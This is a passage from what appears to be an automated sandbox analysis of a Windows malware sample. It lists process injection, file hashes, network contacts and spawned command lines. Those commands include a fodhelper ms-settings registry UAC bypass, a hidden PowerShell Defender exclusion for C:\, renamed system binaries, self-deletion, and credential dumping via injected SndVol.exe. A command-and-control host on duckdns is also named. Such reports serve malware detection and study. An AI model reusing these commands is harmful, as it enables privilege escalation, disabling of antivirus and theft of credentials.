5036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4100 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 4100 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 4100 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 4100 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 4100 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 4020 wrote to memory of 2084 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 4020 wrote to memory of 2084 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 2084 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2084 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2084 wrote to memory of 1436 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 1436 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3348 wrote to memory of 4840 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3348 wrote to memory of 4840 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2084 wrote to memory of 4104 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4104 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4104 wrote to memory of 3324 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4104 wrote to memory of 3324 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2084 wrote to memory of 3944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3944 wrote to memory of 1412 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3944 wrote to memory of 1412 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2084 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 1444 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2260 wrote to memory of 1444 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1444 wrote to memory of 4460 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1444 wrote to memory of 4460 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4460 wrote to memory of 1156 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 4460 wrote to memory of 1156 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2084 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 2084 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 2084 wrote to memory of 2112 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 2112 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2112 wrote to memory of 1484 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2112 wrote to memory of 1484 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2084 wrote to memory of 3448 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3448 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3448 wrote to memory of 1628 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 3448 wrote to memory of 1628 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 4100 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\extrac32.exe
PID 4100 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\extrac32.exe
PID 4100 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\extrac32.exe
PID 4100 wrote to memory of 3484 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\SndVol.exe
PID 4100 wrote to memory of 3484 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\SndVol.exe
PID 4100 wrote to memory of 3484 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\SndVol.exe
PID 4100 wrote to memory of 3484 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Windows\SysWOW64\SndVol.exe
PID 2084 wrote to memory of 2256 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 2256 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4232 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4232 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 3212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2084 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe

"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"

C:\Users\Public\Libraries\ovzfjkkH.pif

C:\Users\Public\Libraries\ovzfjkkH.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D8FB.tmp\D8FC.tmp\D8FD.bat C:\Users\Public\Libraries\ovzfjkkH.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Hkkjfzvo.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\toiptswpamkesdfvzxhhyuzpbhuewszvvq"

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\drniul"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 2010.filemail.com udp
ES 50.7.82.90:443 2010.filemail.com tcp
ES 50.7.82.90:443 2010.filemail.com tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 90.82.7.50.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.62.195.195:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 195.195.62.23.in-addr.arpa udp
N/A 127.0.0.1:59321 tcp
US 8.8.8.8:53 nnamoo.duckdns.org udp
MY 103.186.116.62:59321 nnamoo.duckdns.org tcp
US 8.8.8.8:53 62.116.186.103.in-addr.arpa udp
MY 103.186.116.62:59321 nnamoo.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/4100-0-0x00000000021B0000-0x00000000021B1000-memory.dmp

memory/4100-1-0x0000000000400000-0x000000000050C000-memory.dmp

C:\Users\Public\Libraries\ovzfjkkH.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/4020-11-0x0000000000400000-0x000000000041A000-memory.dmp

memory/4020-9-0x0000000000400000-0x0000000001400000-memory.dmp

memory/4020-5-0x0000000000400000-0x0000000001400000-memory.dmp

memory/4020-10-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\D8FB.tmp\D8FC.tmp\D8FD.bat

MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/1444-45-0x0000029EEC0B0000-0x0000029EEC0D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5mtmm3y3.rnn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/4020-76-0x0000000000400000-0x000000000041A000-memory.dmp

memory/4020-74-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3484-79-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-77-0x0000000002E90000-0x0000000003E90000-memory.dmp

memory/3484-78-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-82-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-83-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-84-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-85-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-86-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-87-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-89-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3208-90-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3472-91-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3472-97-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3472-98-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3208-96-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3552-95-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3552-94-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3208-93-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3552-92-0x0000000000400000-0x0000000000424000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh

MD5 71e3611290752b1a114e303d84e3987f
SHA1 210794023f369235615743c802fce5055961ee6e
SHA256 5163d0e849d5d39f1e8beb9d13beea8240d532dff6f28433522148628007af06
SHA512 d0235dd58f9038009e44c4847535f2bb652f093418fdfd890c01b4b9d8981df3a31e4a89f9099c226becbfe8541015d60f6b852165241d08cb8795d93dd2eb09

memory/3484-104-0x000000001C660000-0x000000001C679000-memory.dmp

memory/3484-108-0x000000001C660000-0x000000001C679000-memory.dmp

memory/3484-107-0x000000001C660000-0x000000001C679000-memory.dmp

memory/3484-109-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-110-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-111-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-112-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-113-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-114-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-115-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-116-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3484-117-0x0000000000400000-0x0000000000482000-memory.dmp